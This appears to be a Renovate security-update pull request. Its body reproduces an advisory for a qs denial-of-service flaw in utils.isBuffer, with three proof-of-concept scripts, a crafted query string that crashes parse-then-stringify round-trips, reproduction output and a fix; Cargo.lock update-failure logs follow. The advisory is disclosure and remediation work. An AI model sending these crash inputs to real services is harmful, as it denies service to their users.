An attacker-controlled parse input reaches the host application's availability asset — via qs's own recommended plainObjects mitigation — and triggers an uncaught exception during a parsestringify round-trip.

Details

utils.isBuffer runs at lib/stringify.js:127 for every serialized value:

if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }

utils.isBuffer (lib/utils.js:327-333) invokes obj.constructor.isBuffer without verifying it is callable:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
};

constructor and isBuffer are ordinary keys. qs.parse with plainObjects: true or allowPrototypes: true keeps them as own properties, so the parsed value carries a non-function constructor.isBuffer; stringify then calls a non-callable and throws TypeError. By contrast utils.isRegExp uses a brand check (Object.prototype.toString); the missing guard here is an internal inconsistency, not a platform limitation.

Trust Boundary Note

qs.stringify alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by qs.parse, whose input is untrusted by design. qs.parse normally strips a constructor key via its prototype guard, but with the documented options plainObjects: true or allowPrototypes: true the key survives and lands as an own property. Feeding the parsed object back into qs.stringify — the standard round-trip in gateways and request-forwarders — then hits the unchecked call.

PoC

poc02c_isBuffer_qs_only_roundtrip.js — pure-qs chain, no JSON.parse; an untrusted query string alone reaches the throw:

'use strict';
var qs = require('qs');

var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y

var parsed = qs.parse(untrustedQueryString, { plainObjects: true });
console.log('[parse] kept constructor key:', JSON.stringify(parsed));

try {
    qs.stringify(parsed);
    console.log('[stringify] no throw (unexpected)');
} catch (e) {
    console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02_isBuffer.js — the minimal defect:

'use strict';
var qs = require('qs');
try {
    qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}'));
} catch (e) {
    console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message);
}

poc02b_isBuffer_async_crash.js — worker death in an async sink:

'use strict';
var qs = require('qs');

function handleRequestAsync(clientJsonBody) {
    try {
        setImmediate(function () {                 // async continuation, outside the try
            qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught
        });
        console.log('[handler] returned 200 synchronously; async work scheduled');
    } catch (e) {
        console.log('[handler] caught synchronously (will NOT happen):', e.message);
    }
}
process.on('exit', function (code) {
    console.log('[proc] process exiting with code:', code);
});
handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}');
Execution Steps
cd poc
npm install qs@6.15.3
node poc02c_isBuffer_qs_only_roundtrip.js  # pure qs parse->stringify -> TypeError
node poc02_isBuffer.js                      # minimal defect -> TypeError inside stringify
node poc02b_isBuffer_async_crash.js         # async sink -> uncaught throw -> exit code 1
Reproduction Evidence

poc02c_isBuffer_qs_only_roundtrip.js :

[parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}}
[stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02_isBuffer.js:

[A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function

poc02b_isBuffer_async_crash.js :

[handler] returned 200 synchronously; async work scheduled
[proc] process exiting with code: 1
TypeError: obj.constructor.isBuffer is not a function
    at Object.isBuffer (.../qs/lib/utils.js:332:78)
    at stringify (.../qs/lib/stringify.js:127:45)
=== EXIT CODE: 1 ===

The pure-qs round-trip shows the malicious shape originates from qs.parse of an untrusted query string, with no JSON.parse. The synchronous try/catch in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.

Impact

An unauthenticated request degrades any endpoint that re-serializes deserialized client data with qs.stringify. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on qs.

Recommended Fix

Replace the duck-type with a brand check mirroring utils.isRegExp:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') {
        return Buffer.isBuffer(obj);
    }
    return Object.prototype.toString.call(obj) === '[object Uint8Array]';
};

If duck-typing must remain, require typeof obj.constructor.isBuffer === 'function' before invoking and wrap the call in try/catch.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


qs: Denial of Service via Attacker Controlled isBuffer

CVE-2026-82417 / GHSA-4mjr-xmp4-gh2g

More information

Details

Summary

qs.stringify() calls utils.isBuffer() on every value it serializes, and utils.isBuffer() invokes obj.constructor.isBuffer(obj) without checking that it is callable. A value whose own constructor.isBuffer is a non-function makes qs call a non-callable and throw TypeError. Such a value is produced by qs.parse itself from an untrusted query string when plainObjects: true or allowPrototypes: true is set, so a pure-qs parsestringify round-trip — no JSON.parse — turns an unauthenticated query string into an uncaught throw.

An attacker-controlled parse input reaches the host application's availability asset — via qs's own recommended plainObjects mitigation — and triggers an uncaught exception during a parsestringify round-trip.

Details

utils.isBuffer runs at lib/stringify.js:127 for every serialized value:

if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }

utils.isBuffer (lib/utils.js:327-333) invokes obj.constructor.isBuffer without verifying it is callable:

var isBuffer = function isBuffer(obj) {
    if (!obj || typeof obj !== 'object') { return false; }
    return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj));
};

constructor and isBuffer are ordinary keys. qs.parse with plainObjects: true or `allowPrototypes:

Important

✂ PR body was truncated to here.

@renovate

renovate Bot commented Jul 16, 2026

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⚠️ Artifact update problem

Renovate failed to update artifacts related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: Cargo.lock
Command failed: cargo update --config net.git-fetch-with-cli=true --manifest-path Cargo.toml --package webauthn-authenticator-rs@0.5.4 --precise 0.5.5
    Updating crates.io index
error: failed to select a version for `base64urlsafedata`.
    ... required by package `webauthn-rs v0.5.4`
    ... which satisfies dependency `webauthn-rs = "^0.5"` (locked to 0.5.4) of package `defguard_core v0.0.0 (/tmp/renovate/repos/github/DefGuard/defguard-renovate/crates/defguard_core)`
    ... which satisfies path dependency `defguard_core` (locked to 0.0.0) of package `defguard v0.0.0 (/tmp/renovate/repos/github/DefGuard/defguard-renovate/crates/defguard)`
versions that meet the requirements `=0.5.4` are: 0.5.4

all possible versions conflict with previously selected packages

  previously selected package `base64urlsafedata v0.5.5`
    ... which satisfies dependency `base64urlsafedata = "=0.5.5"` of package `webauthn-authenticator-rs v0.5.5`
    ... which satisfies dependency `webauthn-authenticator-rs = "^0.5"` of package `defguard_core v0.0.0 (/tmp/renovate/repos/github/DefGuard/defguard-renovate/crates/defguard_core)`
    ... which satisfies path dependency `defguard_core` (locked to 0.0.0) of package `defguard v0.0.0 (/tmp/renovate/repos/github/DefGuard/defguard-renovate/crates/defguard)`

failed to select a version for `base64urlsafedata` which could resolve this conflict

File name: Cargo.lock
Command failed: cargo update --config net.git-fetch-with-cli=true --manifest-path crates/defguard_core/Cargo.toml --package webauthn-authenticator-rs@0.5.4 --precise 0.5.5
    Updating crates.io index
error: failed to select a version for `base64urlsafedata`.
    ... required by package `webauthn-rs v0.5.4`
    ... which satisfies dependency `webauthn-rs = "^0.5"` (locked to 0.5.4) of package `defguard_core v0.0.0 (/tmp/renovate/repos/github/DefGuard/defguard-renovate/crates/defguard_core)`
    ... which satisfies path dependency `defguard_core` (locked to 0.0.0) of package `defguard v0.0.0 (/tmp/renovate/repos/github/DefGuard/defguard-renovate/crates/defguard)`
versions that meet the requirements `=0.5.4` are: 0.5.4

all possible versions conflict with previously selected packages

  previously selected package `base64urlsafedata v0.5.5`
    ... which satisfies dependency `base64urlsafedata = "=0.5.5"` of package `webauthn-authenticator-rs v0.5.5`
    ... which satisfies dependency `webauthn-authenticator-rs = "^0.5"` of package `defguard_core v0.0.0 (/tmp/renovate/repos/github/DefGuard/defguard-renovate/crates/defguard_core)`
    ... which satisfies path dependency `defguard_core` (locked to 0.0.0) of package `defguard v0.0.0 (/tmp/renovate/repos/github/DefGuard/defguard-renovate/crates/defguard)`

failed to select a version for `base64urlsafedata` which could resolve this conflict

@renovate renovate Bot added the security label Jul 16, 2026
@renovate
renovate Bot force-pushed the renovate/stable/1.x-security-patches branch 2 times, most recently from f6c4c88 to a9c9003 Compare July 25, 2026 07:49
@renovate
renovate Bot force-pushed the renovate/stable/1.x-security-patches branch 2 times, most recently from 96c2b2f to 83c866f Compare August 3, 2026 23:50
@renovate
renovate Bot force-pushed the renovate/stable/1.x-security-patches branch 2 times, most recently from 6ef6c49 to 47ed3b9 Compare August 22, 2026 00:02
@renovate
renovate Bot force-pushed the renovate/stable/1.x-security-patches branch 2 times, most recently from 2157a88 to 147b827 Compare September 3, 2026 01:55
@renovate
renovate Bot force-pushed the renovate/stable/1.x-security-patches branch from 147b827 to 4fb2fb9 Compare September 6, 2026 03:55
@renovate
renovate Bot force-pushed the renovate/stable/1.x-security-patches branch from 4fb2fb9 to c2f3d9a Compare September 11, 2026 00:01
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